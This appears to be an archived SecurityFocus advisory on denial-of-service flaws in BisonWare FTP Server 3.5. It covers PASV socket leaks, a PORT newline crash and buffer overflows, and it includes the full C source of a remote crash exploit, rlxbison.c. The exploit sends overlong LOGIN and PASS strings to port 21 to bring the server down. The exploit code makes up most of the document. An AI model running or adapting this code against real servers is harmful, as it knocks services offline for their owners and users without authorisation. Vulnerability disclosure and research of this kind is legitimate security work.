source: http://www.securityfocus.com/bid/271/info

Multiple vulnerabilities in the BisonWare FTP Server can cause denials of service.

The vulnerabilities are:

The server fails to close the socket created by a PASV command in multiple PASV commands are executed back to back. This can create a socket and memory shortage that will not be fixed when the client disconnects from the server.

Connecting to the server and issuing a "PORT a" command followed by several thousand carriege returns and new lines will cause the server to crash.

The are multiple buffer overflows in all commands that take arguments. For example LIST and CWD both crash the server if they are passed string longer than 1500 characters.

The USER command in conjunction with a password, each containing a string over 550 characters long, is vulnerable as well which means an attacker doesn't need to logon to the server to exploit the vulnerability. 

/*
 * FILE: rlxbison.c
 * CODER: Conde Vampiro.
 * DATE: 2/29/2000.
 * ABSTRACT: Remote DoS of BISON FTP Server 3.5
 *
 * Compile: gcc rlxbison.c -o rlbison
 *
 * Roses Labs / w00w00
 * http://www.roses-labs.com
 * Advanced Security Research.
*/

#include <stdio.h>
#include <sys/socket.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <unistd.h>

/* Defines */

#define MAX 551
#define MAXDATA 1024

/* Global variables */

int sock;
int i;
char datacrap[MAX];
char *temp;
char tempdata[MAXDATA];
char buf[MAXDATA];
struct hostent *host;
struct sockaddr_in KillFTP;

/* Prototypes */
 
unsigned long resolve(char *host_name);
char *crap(int num);

/* Main */

int main(int argc, char *argv[]) {

        if(argc < 2) {
                printf("Usage: %s <Host>\n", argv[0]);
                exit(-1);
        }
        KillFTP.sin_family=AF_INET;
        KillFTP.sin_addr.s_addr=resolve(argv[1]);
        if(!KillFTP.sin_addr.s_addr) {
                printf("Host Unkown: %s\n",argv[1]);
                exit(-1);
        }
        KillFTP.sin_port=htons(21);
        sock=socket(AF_INET, SOCK_STREAM, 0);
        if(sock < 0) {
                printf("Error creating socket!!\n");
                exit(-1);
        }
        if(!connect(sock,(struct sockaddr *)&KillFTP, sizeof(KillFTP))) {
                printf("Roses Labs Bison FTP Xploit\n");
                printf("Remote crashing code!!!\n");
                recv(sock,tempdata,sizeof(tempdata),0);
                sleep(1);
                recv(sock,tempdata,sizeof(tempdata),0);
                temp=crap(MAX);
                sprintf(buf,"LOGIN %s\n",temp);
                send(sock,buf,strlen(buf),0);
                sprintf(buf,"PASS %s\n",temp);
                send(sock,buf,strlen(buf),0);
                printf("Host %s crashed!!\n",argv[1]);
                exit(0);
        } else {
                printf("Couldn't connect to %s on port 21,\n", argv[1]);
                exit(-1);
        }
        if(close(sock)) {
                printf("Error closing socket!!\n");
                exit(-1);
        }
return(0);
}

/* Functions */

unsigned long resolve(char *host_name) {
        struct in_addr addr;
        struct hostent *host_nam;

        if((addr.s_addr = inet_addr(host_name)) == -1) {
        if(!(host_nam = gethostbyname(host_name))) return(0);
        memcpy((char *) &addr.s_addr, host_nam->h_addr, host_nam->h_length);
        }
        return(addr.s_addr);
}

char *crap(int num) {
        for(i=0;i<num;i++) {
                datacrap[i]='X';
        }
        return(datacrap);
}

/* w00w00 E0F */